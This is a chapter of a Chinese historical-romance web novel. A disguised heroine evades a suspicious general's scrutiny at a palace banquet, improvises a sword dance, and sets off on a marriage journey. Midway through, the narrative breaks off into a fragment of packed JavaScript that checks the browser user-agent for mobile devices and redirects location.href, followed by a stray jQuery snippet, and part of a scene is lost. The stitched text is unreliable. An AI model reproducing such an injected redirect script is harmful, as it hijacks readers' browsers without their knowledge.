3. 第 3 章

作品:《暗玉投珠

    她背脊僵直,一动不敢动,脑子里忙快速思索着对策。


    见她紧抿菱唇不再开口,周裴玉脸上玩味更甚,“可我怎么记得昨晚珠珠在众目睽睽之下还唤我玉郎,亲密得紧,什么都不敢瞒我。”


    赵宜珠被羞辱,杏面上顿时火辣辣的,来不及多想其中缘由,忙逼迫自己冷静,她深吸口气,极力忽略他的恶劣语气,垂眸学着平时赵宜珍跋扈的小女儿情态,脸颊瞬间泛起如霞般的红晕,嗔瞪他一眼。


    “今日和昨夜情况不一样,昨夜是在尚书令府,周围都是些守口如瓶的下人,而今日此处是皇宫大内,到处都是宫人,我实在,实在是——”


    说到此处,赵宜珠又羞又恼,越过他朝前走了两步,驻足不肯再往下说了:“而且,我方才说的也是实话,那几个人虽对我出言不逊,但她们在我这也并没讨到好处,我们算是扯平了,我才不会为了这些无关痛痒的小事置气。”


    周裴玉眸色微闪,眸底的探究未消。


    赵宜珠见他迟迟留在原地,不知在想什么,一颗心怦怦乱跳,直要跳到嗓子眼外去,她扭头看向他,坨红的脸颊犹如三月海棠花,佯装恼怒更甚:“倒是玉郎再取笑我,我就,我就再也不理你了。”


    说罢,竟是当真转身就走。


    殿外悬吊的大红宫灯,透出的橘红的光,映照在少女半身。


    只见少女脸上的红晕一路蔓延到颈子里,就连如玉般的耳珠都透着蜜粉,一颦一怒,皆美得惊心动魄。


    周裴玉喉结滚动了下,随即将头抬高只盯着她乌泱泱的发顶,抬脚慢悠悠地跟了上去,听不出什么情绪的低笑一声:“几日不见,珠珠变得是越发有趣了。”


    说话间,宫人从殿内出来迎接周裴玉以及他的属下众位副将。


    在宫人的恭维声中,周裴玉携带她抬脚入内。


    两人并肩在殿内站定,遥声朝齐王行礼,周裴玉腰间佩剑在煌煌灯光下微微晃动,折射出白色光晕。


    而此前无论是太子,还是朝中重臣都不允许佩剑入殿,而他这个魏国大将军却可以,多么讽刺。


    全程惊魂未定的赵宜珠,不知自己是如何坐到席位上的。


    直到宫女鱼贯而入,小心翼翼将珍馐佳肴放在诸人面前时,她忐忑抬眸,见周裴玉不再用深究的目光看她,这才将方才压在胸腹间的那口浊气缓缓吐出。


    并心有余悸地想,依方才她和周裴玉短暂的接触看来,周裴玉此人不仅权势滔天,还甚为机敏极难对付,绝非赵宜珍嘴中说的那般好相处。


    若非方才她急中生智糊弄了过去,恐怕此刻也坐不到这儿了,而这种运气也不是次次都行得通的,忙在心中暗暗告诫自己,以后行事还要再谨慎小心些才是。


    甚至以方才他对她说话的口吻看来,直觉告诉她,赵宜珍定然瞒了不少她和周裴玉之间的事。


    待会儿她回去后,定要找赵宜珍好好问清楚。


    打定主意后,赵宜珠微提口气,脸上复又挂上得体的微笑。


    这时,齐王谄媚地哈哈笑起,举起酒盏遥敬周裴玉,“周将军明日便要带着二十位和亲女返程回魏国,朕本应亲自去送,奈何这几日身子抱恙,实难前往,那今夜朕便在此,先祝周将军一路平安。”


    周裴玉闻言放下筷子,慢悠悠地用帕子净手,竟是毫无起身之意。


    圣上给敌国将领敬酒,本就屈尊降贵,而今又被当众刻意忽视,颜面可谓是荡然无存。


    来参宴的齐人心有不忿,但也不敢造次,纷纷放下手中吃食。


    短暂的静默后,挨着周裴玉坐着的一名身穿回字纹玄色圆领袍的年轻将军,起身双手抱拳对圣上道:“我家将军不擅饮酒,末将愿为将军代劳。”说罢,举起酒杯仰头一饮而尽。


    而周裴玉神色未动,显然是默许手下行径。


    圣上虽感憋屈,可却敢怒不敢言,讪讪将酒饮下,干笑着说了几句客套话后,忽转头看向赵宜珠,低笑道。


    “昔日赵娘子弹得一曲《高山流水》,将其中伯牙高山流水觅知音的高山巍峨,气势磅礴之意,弹奏得淋漓尽致,被天下人广为流传,今日朕和周大将军,虽只见过数面,可却觉和周大将军倾盖如故,相识恨晚,今晚你且弹奏一曲,替朕尽一尽这地主之谊。”


    赵宜珠压根不会弹琴,心里咯噔一声。


    坐于对面的周裴玉已微挑起半边眉,饶有兴致地放下茶盏。


    宫人们忙将琴取过来,不由分说地放在赵宜珠跟前小几上。


    赵宜珠此刻真真是骑虎难下,她苍白着脸,颤巍巍地将十指轻轻地放在琴弦上。


    就在满殿朝臣闭目,沉醉于即将奏响的曲音遐想之中时。一声突兀杂音骤然响起。


    只见容颜迭丽的赵宜珠,放在琴弦上的双手朝下微微一压,回荡在殿内的那道杂音顿消。


    接着,少女施施然起身,朝齐王行礼歉疚道:“回圣上,民女近日不慎偶感风寒,导致双手手指僵硬,若强撑着弹奏,曲子固然可以完成,可曲中伯牙寻知音时弹奏的巍峨高山拔地而起,雄浑磅礴之势,以及仿似清泉石上流潺潺流水之音,恐不能完美奏出,反污了圣上圣听,和圣上对周大将军的情谊。”


    此话一出,齐王当即龙颜不悦。


    赵宜珠话锋一转,柔声继续道:“但民女近日有幸得到公孙敏的亲传,而公孙敏一生痴心于舞艺,其中创作出的剑舞《荧荧阙歌》,刚劲有力、灵动飘逸,同时蕴含着驱邪除害、保家卫国等寓意名动天下,若圣上和周大将军不嫌,民女可为圣上和周大将军献上此剑舞。”


    她话音方落,朝臣间顿时发出阵阵惊疑之声。


    只因公孙敏声名远扬,其剑舞技艺精妙卓绝,纵使并非宫廷舞姬,却也引得齐魏两国皇室贵胄竞相追捧。然而她性本高洁,疾恶如仇,踪迹飘忽难觅。故而世人难得一睹其风采,至于能获她亲传舞技者,更是凤毛麟角。


    果然,下一瞬齐王虽还面色不虞,可还是道:“快快舞来。”


    好在今日赵宜珠身上所穿衣裙颜色艳丽,宽肩窄袖,裙裾宽大,和寻常专门跳剑舞的衣裙相差无几,当即从座位上站起,拿起宫人奉上的宝剑,径直走到大殿中央。


    随着弹奏声起,众人只见少女手中长剑寒光一闪,娇.小的身姿随之跃起,如飞鸟穿林般灵活多变,时而如蛟龙出海,时而如微风拂山间,轻柔婉转。


    而她手中那把粗重的宝剑,随着她跳跃,旋转脚尖舞动,仿佛被注入了生命般慢慢变成了轻巧,女子娇软的身段,和宝剑透出的力量感,刚柔并济,令在场之人皆沉浸其中。


    大殿之上的质疑声随之渐渐变为惊叹。


    坐于大殿左侧的魏军将领们,平时在营地没少看剑舞,见状也忍不住啧啧称奇:“没想到赵娘子这么个柔柔弱弱的人,竟将这支《荧荧阙歌》剑舞舞得这么好,一点都不输咱们宫中的舞姬。”


    “就是,这还是她身子未愈舞出来的都这么惊艳,倘若她身子痊愈状态下跳的,估计只这一曲便可名扬天下。”


    “就是就是..........”


    周裴玉听到耳边频频的赞扬之声,意味不明地眯了下眼。


    右副将钱常,举起手中酒盏,转身如闲话家常般笑眯眯地对旁侧的齐国官员问道,“赵娘子之前经常跳剑舞吗?”


    被问的齐国官员受宠若惊,忙举起酒盏陪一个,“这个恕微臣不知,但赵娘子毕竟是尚书令之女,从小琴棋书画样样精通,且,齐人本就爱乐舞,赵娘子会这个,也,也不稀奇。”


    这时,恰好赵宜珠舞的最后一个剑花收势。


    少女柔弱如扶柳的纤腰,随着倾身的动作微微折起,软的似乎一掌便可撑满。


    周裴玉视线顿在上面,舌尖抵着下腮帮,低笑反问:“是吗?”


    这厢圣上龙颜大悦,抬手刚要拊掌叫好,下意识却忐忑地看向周裴玉。


    赵宜珠心头也跟着变得忐忑,偷偷瞥去一眼。


    男人脸上那双碧绿色凤眸幽暗不明,缓缓抬起撑在膝头上的大掌轻轻双击,淡声夸道:“赵娘子舞的此剑舞,只应天上有,人间能得几回闻。”


    接着如雷鸣般的掌声,从大殿之上爆发出来。


    齐王笑喝一声:“有赏。”


    赵宜珠躬身谢恩的同时,一时猜不到周裴玉是真心夸赞她,还是看出了她某些破绽,但她可以确定的是,方才自己舞剑时并未用内力,而是以普通歌姬的七成力道为之,并不存在被识破。


    想到此处,她心头依旧难安,但只能先将这念头搁置,起身缓缓朝自己座位走去。


    然,方路过周裴玉座位,周裴玉忽抬眸看向龙椅上的齐王,丰神俊朗的面容透着轻慢之色,“末将今日也带礼物给圣上。”


    话落,一名武将手捧着一个漆黑木盘从殿外大步入内,径直走到圣上桌案下,恭敬道:“请圣上过目。”


    那漆黑木盘上放的一物,用红色盖头盖着,看起来极其神秘。


    赵宜珠忙要加快步子,下一瞬,耳边忽传来一阵桌椅倒塌的抽气声,她不明所以正要转身,手腕却被男人握住朝下一拉,她半边身子被这股力道带着霎时倾入他怀中,眼睛被他捂住。


    赵宜珠大骇,下意识就要挣扎,大殿之上却响起几位贵女的惊叫声。


    圣上身侧的老太监声音发颤地大吼:“快,快,快将他拿下去。”


    听到此话,赵宜珠惊惶失措中立马猜到是何物,再不敢挣动。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300184|167146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >一阵兵荒马乱后,等蒙住眼睛的大掌放开,赵宜珠杏眸逐渐能够视物,如避瘟神般忙站起身,离周裴玉远远的。


    抬眸,便见高坐龙椅的圣上,面色灰败地瘫坐在龙椅上,捂着胸口大口的喘息,明明骇得魂不附体,可嘴里却颤巍巍道:“周将军送的此礼,深的朕心,深的朕心........”


    一旁的齐国臣子咬牙切齿,却是敢怒不敢言。


    周裴玉挑唇慵懒地笑:“那就好。”


    不多会儿,圣上便以龙体不适为由仓皇离席。


    此次前去魏国联姻的众贵女们,也都露了脸,魏国使者确保无误后,俯身在周裴玉耳边说了句什么,周裴玉率先离去了。


    宴会就此散席。


    赵宜珠出宫后才从绿翠嘴里得知,刚才周裴玉献给圣上的并非普通首级,而是一颗生满了蛆虫,脓血腐肉四溢的人头。


    而那颗人头的主人,正是背叛征西大将军柴进的副将秦勇,那个直接导致齐国亡国的罪魁祸首。


    绿翠显然还未从方才那惊魂的一幕中完全抽离,吓得上下牙齿打颤:“可那周贼看起来,一副很是儒雅斯文的模样,怎生是个如此恐怖的恶魔?”


    虽此举对齐国而言是示好之举,可行径却太残忍了些。


    赵宜珠心有余悸地按着胸口,闭了下眼,平息激荡的心跳:“知人知面不知心罢了,而且能坐上魏国兵马大将军这个位置的人,又岂会如表面那般简单。”


    说着蹙眉,又想起今日晚宴上自己自做主张跳完剑舞后,周裴玉投来的那一瞥,此刻想来依旧有些不对劲,瓷白的脸颊上不觉显出忧虑之色。


    可到底哪里不对劲,她却百思不得其解,直到登上马车,右手接过绿翠端过来的凉茶时。赵宜珠忽想到什么,暗叫一声“糟糕”,忙放下茶盏,急忙将右手放在明烛下,查看虎口和指腹等处。


    而这几处因她常年练武磨出的茧子,虽早在她入宫之前被她偷偷剔除,再无痕迹,可若用手摸,却还是有轻微的剐蹭感。


    而方才周裴玉将她护在怀中之时,不知是有意,还是无意曾摩挲了下她这只手的掌心。


    莫非她舞剑之时,他便对她的身份起了疑?才摸她的手证实?


    若真的如此,那他心思远远比她设想中的缜密!简直到了恐怖的地步!


    思及此,赵宜珠冷不丁打了个寒战。


    *


    三日后,此次去魏国和亲的二十名齐国贵女启程,周裴玉亲率五千精锐护送,这日齐国锣鼓喧天,热闹非凡。


    临行事,尚书令大人携带一众家眷前来送行。


    赵宜珠未见得了癔症谁都不记得的祖母张氏,柳眉直竖,作势就要去后院找人。


    赵尚书令眉峰紧锁,尚未开口。


    继母已干笑着忙拦着人:“二娘子只要如约完成任务,我和你爹是不会为难老夫人的,再说了,老夫人若知道你远赴魏国和亲,恐怕又要伤心,这一伤心,万一导致病症又加重了,可得不偿失,我想二娘子也不想老夫人这样吧。”


    赵宜珠只得忍着这口气,她攥紧垂于腿边的双拳:“你最好说到做到,否则——”


    少女清凌凌的杏眸一凛。


    继母胡氏只觉一阵劲风擦着她脸颊扫过,下一瞬,身后的两人合抱的大榕树如遭重创晃了几晃,满树枯叶从众人头顶簌簌落下。


    而若这力道落在人身上,恐怕会顷刻毙命。赵尚书令后吓得忙朝后退了两步,见她对自己并无杀意后,勃然大怒:“逆子,你做什么,难道还想弑父不成?”


    赵宜珠毫无惧意直视他双眼:“女儿不敢,但若父亲敢动祖母一根毫毛,就休怪女儿翻脸无情。”


    “你,你——”尚书令大人气得吹胡子瞪眼,捂着胸口大口地喘息。


    胡氏忙从中作和事佬拉开了两人,急忙冲赵宜珠保证:“这些年你爹和祖母不合,原因全在二娘子,只要二娘子听话好好地嫁去魏国,你爹定会如以前那般好好对待祖母的。”


    赵宜珠闻言只好作罢,她深深看了眼后院的方向,深吸口气,决然登上了去魏国的马车。


    马车辚辚朝南前行。


    赵宜珠心有不舍地撩开车帘朝后看。


    见她从小居住的府邸,在蓝天白云间由一座庞然大物逐渐变小成一个小黑点的同时,往昔和祖母,大师姐等人相处的点点滴滴,也如走马观花般在她脑海中一一浮现。


    无一不在告诉她,短时间内她不可能再回到此地,与她们相聚了。


    一刹那,巨大的离别伤感一瞬盈满赵宜珠的心间,她忍了又忍终是没忍住,喉咙里发出一声呜咽,双手捂着脸哭出声来。


    与此同时,车帘忽被人掀开,周裴玉进了车厢。